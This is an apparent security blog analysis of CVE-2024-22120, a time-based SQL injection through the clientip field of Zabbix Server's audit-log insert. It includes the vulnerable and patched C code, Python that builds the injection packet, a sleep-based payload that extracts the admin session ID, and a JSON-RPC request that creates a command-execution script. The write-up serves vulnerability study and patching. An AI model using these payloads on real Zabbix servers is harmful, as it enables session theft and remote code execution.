//nefariousplan

CVE-2024-22120: Zabbix's Audit Log Is the Read Primitive

patterns

cve

proof of concept

Zabbix Server's trapper port accepts a command request from authenticated users who have permission to execute a global script on a host they can see. When the request lands, the server runs the script and inserts a row into the auditlog table recording who, when, where from, what command. In versions 6.0.0 through 6.0.27, 6.4.0 through 6.4.12, and 7.0.0alpha1, that INSERT is built with a printf-style format string and the ip column is filled in with clientip, a field the request supplied as JSON. The audit-writer's database connection has SELECT on sessions. A low-privilege user with one host in scope sends one packet, and the row Zabbix writes about them runs select sessionid from sessions where userid=1, character by character, against the wall clock. The audit log captured the attack faithfully. The capture is the attack.

The audit-writer can read every table

Zabbix Server runs a trapper on TCP 10051. One of the requests that trapper accepts is command: an authenticated user submits a JSON body asking the server to execute a global script against a host they have access to. When the script finishes, the server opens a database transaction and inserts a row into the auditlog table. The row is the system's record of "user X executed script Y from address A at time T." A SOC analyst reads it during an incident. A compliance audit asks for it once a quarter.

The connection that performs the INSERT is owned by the zabbix database user. zabbix has SELECT on every table in the application schema. It has SELECT on sessions (every active session token, including the administrator's). It has SELECT on config (the application's HMAC signing key for forging session cookies). The audit log's privilege profile is broad because audit logs are broad: anything the system audits, the audit-writer must reach. Zabbix LLC sold this architecture as defensive. The system records what happened.

In versions 6.0.0 through 6.0.27, 6.4.0 through 6.4.12, and 7.0.0alpha1, the row that the system records is built with a printf-style format string. One of the columns is filled in from JSON the request submitted. That column is ip. The field is clientip. The value is whatever the request says.

The function and the format string

zbx_auditlog_global_script lives in src/libs/zbxaudit/audit.c. Pre-patch, the relevant body is a single DBexecute call with eleven format specifiers and eleven arguments:

details_esc = DBdyn_escape_string(details_json.buffer);

if (ZBX_DB_OK > DBexecute(
    "insert into auditlog (auditid,userid,username,clock,action,ip,resourceid,"
    "resourcename,resourcetype,recordsetid,details) values "
    "('%s'," ZBX_FS_UI64 ",'%s',%d,'%d','%s'," ZBX_FS_UI64 ",'%s',%d,'%s','%s')",
    auditid_cuid, userid, username, (int)time(NULL), AUDIT_ACTION_EXECUTE,
    clientip, hostid, hostname, AUDIT_RESOURCE_SCRIPT, auditid_cuid, details_esc))
{
    ret = FAIL;
}

zbx_free(details_esc);

The eleven columns receive their inputs in order. The '%s' placeholders at positions 1, 3, 8, and 10 receive auditid_cuid, username, hostname, and auditid_cuid again. Those are server-side strings, generated locally or looked up from the database by user ID and host ID. Position 11, '%s', is details_esc, which the function explicitly escapes via DBdyn_escape_string two lines above the call.

Position 6, '%s', is clientip. It is not escaped. It is the only string in this INSERT that came from the client's JSON body and is interpolated into the query without sanitization. Maxim Tyukov reported the gap to Zabbix on 2024 Feb 21 through HackerOne. The fix landed on March 18 and shipped publicly in May 2024 as 6.0.28rc1, 6.4.13rc1, and 7.0.0beta2.

The patch replaces the format string with a parameterized prepared insert:

-    char    *details_esc;
+    zbx_db_insert_t db_insert;
     ...
-    details_esc = DBdyn_escape_string(details_json.buffer);
-
-    if (ZBX_DB_OK > DBexecute("insert into auditlog ("
-        "auditid,userid,username,clock,action,ip,resourceid,"
-        "resourcename,resourcetype,recordsetid,details) values "
-        "('%s'," ZBX_FS_UI64 ",'%s',%d,'%d','%s'," ZBX_FS_UI64
-        ",'%s',%d,'%s','%s')",
-        auditid_cuid, userid, username, (int)time(NULL),
-        AUDIT_ACTION_EXECUTE, clientip, hostid, hostname,
-        AUDIT_RESOURCE_SCRIPT, auditid_cuid, details_esc))
-    {
-        ret = FAIL;
-    }
-
-    zbx_free(details_esc);
+    zbx_db_insert_prepare(&db_insert, "auditlog",
+        "auditid", "userid", "username", "clock", "action", "ip",
+        "resourceid", "resourcename", "resourcetype", "recordsetid",
+        "details", NULL);
+
+    zbx_db_insert_add_values(&db_insert, auditid_cuid, userid, username,
+        (int)time(NULL), ZBX_AUDIT_ACTION_EXECUTE, clientip, hostid,
+        hostname, ZBX_AUDIT_RESOURCE_SCRIPT, auditid_cuid,
+        details_json.buffer);
+
+    ret = zbx_db_insert_execute(&db_insert);
+
+    zbx_db_insert_clean(&db_insert);

After the patch, clientip is bound as a database parameter rather than concatenated into a query string. The fix is correct. The fix is the smaller half of the commit.

The other half of the patch is a comment

The clientip value reaches zbx_auditlog_global_script by way of node_process_command in src/libs/zbxtrapper/nodecommand.c. The dispatcher reads the field out of the request JSON. The same commit that switched the INSERT to a parameterized query added three lines of comment above that read, and they are the only change to nodecommand.c in the entire patch:

/* It appears that IPv6 specification allows entries like "<IPv6 ADDR>%<NIC NAME>" */
/* which do not pass our current IPv6 address validation. In the future, when we   */
/* fix our IPv6 address validation we could consider adding it here.               */
if (SUCCEED != zbx_json_value_by_name(jp, ZBX_PROTO_TAG_CLIENTIP, clientip,
        sizeof(clientip), NULL))
    *clientip = '\0';

The comment is in HEAD today. It documents that the project's IPv6 address validator rejects RFC-legal addresses with zone identifiers (fe80::1%eth0), so input validation on clientip was abandoned at this site, and may be added back if the validator is improved. The future tense matters. This is a todo-that-shipped in the precise definition: the comment names a security control that has no implementation in the file, and the comment is the only manifestation of the control. What makes this instance specific is when it landed. It was not committed years ago and forgotten. It was added inside the security patch for an SQL injection caused by the field the comment is about.

The audit-log INSERT is no longer a SQL injection sink. Every other consumer of clientip in the request lifecycle, every place in the Zabbix codebase that takes the same value and writes it into a log line, forwards it across the proxy protocol, or interpolates it into a notification template, is now operating under the explicit, comment-documented assumption that the field is untrusted. There is no central sanitizer the field passes through. The vendor's fix is end-of-pipe at one specific INSERT. The validation gap that fed that INSERT is the validation gap that feeds everything else.

The PoC, end to end

Maxim Tyukov's public proof of concept ships as W01fh4cker's RCE chain on GitHub, dated May 2024. The premise the README states is plain:

- a low-privilege user
- Have permission to execute scripts

The CVSS vector reads PR:H because authentication and a hostid in scope are required. In the populations Zabbix is sold to, that bar is met by every NOC operator, every read-only monitoring account that has at least one host in view, and every automation user. The PR:H rating is the vendor's polite version of "needs an account."

The first stage opens a TCP socket to the trapper port and sends the protocol's ZBXD\x01 header followed by an eight-byte little-endian length and a JSON body:

zbx_header = b"ZBXD\x01"
message = {
    "request": "command",
    "sid": sid,
    "scriptid": "2",
    "clientip": "1' + " + injection + " + '1",
    "hostid": hostid
}
message_json = json.dumps(message)
message_length = struct.pack('<q', len(message_json))
s.send(zbx_header + message_length + message_json.encode())

The injection is a conditional sleep keyed on a single character of the value being extracted, the administrator's active session ID:

query = (
    "(select CASE WHEN (substr((select sessionid from sessions "
    "where userid=1 limit 1),%d,1)=\"%c\") "
    "THEN sleep(%d) ELSE sleep(%d) END)"
) % (i, c, time_true, time_false)

Rendered into the format-string slot, the SQL the database parses is:

insert into auditlog (...) values (
  'cuid_value', 1234, 'username', 1714000000, '1',
  '1' + (select CASE WHEN (substr((select sessionid from sessions
    where userid=1 limit 1), 1, 1) = "a")
    THEN sleep(10) ELSE sleep(1) END) + '1',
  ...);

MySQL's + operator on string operands implicitly casts to numeric, so the row inserts harmlessly with an ip value of 2 plus whatever the sleep returns. The wall-clock difference between THEN sleep(10) and ELSE sleep(1) tells the attacker whether the candidate character matched. Thirty-two iterations across sixteen hex digits per character yield the admin sessionid in roughly one batch of probes per minute of attacker patience.

Every probe writes a row into auditlog. Every row contains the literal exploit text in the ip column. The audit log records exactly what just happened, including the SQL that was executed against it on the way in. A SOC analyst reading the audit log post-incident reads the attacker's exploit text in the column that was supposed to identify the attacker. The audit log captured the attack faithfully. The capture is the attack.

The second stage uses the harvested admin sessionid against /api_jsonrpc.php, the application's JSON-RPC endpoint. It creates a global script with execute_on: 2 (server-side execution as the zabbix user), updates the script body to whatever command the operator types, executes it against any visible host, and reads the output back over the API:

POST /api_jsonrpc.php HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "script.create",
  "params": {
    "name": "rUk7nPq2",
    "command": "whoami",
    "type": 0,
    "execute_on": 2,
    "scope": 2
  },
  "auth": "<extracted_admin_sessionid>",
  "id": 0
}

The interactive shell mode loops script.update and script.execute, prompting [zabbix_cmd]>>: and printing the result of each command. The PoC also ships a LoginAsAdmin variant that extracts the application's session_key from the config table via the same time-based primitive, HMAC-signs a forged zbx_session cookie, and walks straight into the web UI as the administrator without ever issuing the JSON-RPC chain.

The boundary the application enforces is bypassed by what the application records

The Zabbix permission model separates "low-privilege users who can execute scripts on hosts they own" from "administrators who can execute arbitrary commands on the server." That boundary is enforced in the application API: script.create checks the user's role before accepting the request. The command trapper request honors the same permissions for execution, and that is why the PoC needs the second stage at all.

The audit-log INSERT does not honor the permission model. It runs in the privileged database context that owns the schema. A low-privilege user, by performing an action the system audits, gets a SQL primitive that runs in the context of a database connection with read access to every table the audit-writer needs to observe, which is every table. That is the shape that the-detector-is-the-target names: the SOC tool is the attack surface, because the SOC tool's necessary privilege is broader than the privilege of the user it is recording. It is also a trust-inversion. The database credentials Zabbix uses to write audit records are now ratifying SELECT statements against sessions and config, on behalf of an attacker who never held those credentials and never could.

The privilege escalation primitive in CVE-2024-22120 is not a vulnerable script. The primitive is performing an action that the system audits, in a way that turns the audit write into the attacker's read. Two years after disclosure, the nuclei template for CVE-2024-22120 still reaches a population of unpatched 6.0 LTS deployments large enough that ProjectDiscovery ships the probe in their default checks. The patch is mandatory for Zabbix 6.0.x older than 6.0.28, 6.4.x older than 6.4.13, and 7.0.0alpha1.

PoC: W01fh4cker/CVE-2024-22120-RCE

The audit log records who ran the script. CVE-2024-22120 turns the recording into the run.